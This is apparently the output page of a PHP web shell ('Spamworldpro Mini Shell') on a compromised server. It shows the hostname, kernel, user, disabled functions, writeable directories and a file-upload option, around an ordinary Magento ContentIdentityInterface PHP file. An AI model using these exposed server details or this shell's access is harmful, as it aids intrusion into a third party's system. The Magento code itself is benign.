Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-media-content-api/Api/Data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-media-content-api/Api/Data/ContentIdentityInterface.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

declare(strict_types=1);

namespace Magento\MediaContentApi\Api\Data;

use Magento\Framework\Api\ExtensibleDataInterface;
use Magento\MediaContentApi\Api\Data\ContentIdentityExtensionInterface;

/**
 * Data interface representing the identificator of content. I.e. short description field of product entity with id 42
 * @api
 * @since 100.4.0
 */
interface ContentIdentityInterface extends ExtensibleDataInterface
{
    /**
     * Type of entity that can have a content with media. I.e. catalog_product or cms_page
     *
     * @return string
     * @since 100.4.0
     */
    public function getEntityType(): string;

    /**
     * Id of the entity containing content with media
     *
     * @return string
     * @since 100.4.0
     */
    public function getEntityId(): string;

    /**
     * Field of the entity where the content can be stored. I.e. short_description for product
     *
     * @return string
     * @since 100.4.0
     */
    public function getField(): string;

    /**
     * Retrieve existing extension attributes object or create a new one.
     *
     * @return \Magento\MediaContentApi\Api\Data\ContentIdentityExtensionInterface|null
     * @since 100.4.0
     */
    public function getExtensionAttributes(): ?ContentIdentityExtensionInterface;

    /**
     * Set extension attributes
     *
     * @param \Magento\MediaContentApi\Api\Data\ContentIdentityExtensionInterface|null $extensionAttributes
     * @return void
     * @since 100.4.0
     */
    public function setExtensionAttributes(?ContentIdentityExtensionInterface $extensionAttributes): void;
}

Spamworldpro Mini